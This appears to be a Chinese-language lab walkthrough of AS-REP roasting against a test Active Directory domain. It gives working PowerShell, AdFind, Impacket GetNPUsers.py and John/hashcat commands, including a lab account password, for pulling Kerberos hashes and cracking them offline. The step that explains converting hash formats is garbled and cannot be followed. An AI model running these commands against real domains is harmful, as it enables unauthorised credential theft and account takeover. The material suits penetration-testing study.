1. 实验网络拓扑
kali:
192.168.72.128
win2008:
192.168.135.129
192.168.72.139
win7:
192.168.72.149
win2012:(DC)
192.168.72.131
2. 攻击原理
如果设置了不需要Kerberos预认证:
那么就可以直接发AS_REQ请求TGT票据,由于不要求预身份认证,所以KDC会直接返回TGT,以及用用户hash加密的session key。
我们拿到这个加密的session key后,就可以用字典离线爆破。
3. Exploit
攻击利用分为两步:
- 获取hash
- 离线破解
0x1. 获取HASH
域内域外最好都用Impacket的GetNPUser.py
。
域内
很多地方都写的用Rubeus,但是这玩意儿依赖NET3.5,说实话,对环境限制挺大的。。。()
这里用ASREPRoast.ps1
脚本。
Import-Module .\ASREPRoasting.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
这个格式默认是John爆破的格式,转为hashcat只需要在
和
和
和之间加一个$23
即可。
这里有个坑:这个玩意儿导出的hash貌似不能直接爆破,反正有点小bug,推荐用下面的GetNPUsers.py
域外
先要用adfind找到开了不需要预认证的账户,然后再用Impacket的GetNPUser.py
来获得hash。
当然,需要提供一个域内用户的凭据。(需要与KDC通信)
AdFind.exe -h 192.168.72.131:389 -u intranet\win2008 -up 1q2w3eQWE -f "useraccountcontrol:1.2.840.113566.1.4.803:=4194304" -dn
python3 GetNPUsers.py -dc-ip 192.168.72.131 -usersfile users.txt -format john intranet.com/
当然也可以用hashcat的format。
0x02. 离线爆破
john:
john --wordlist=pass.txt hash.txt
hashcat:
hashcat -m 18200 hash.txt pass.txt --force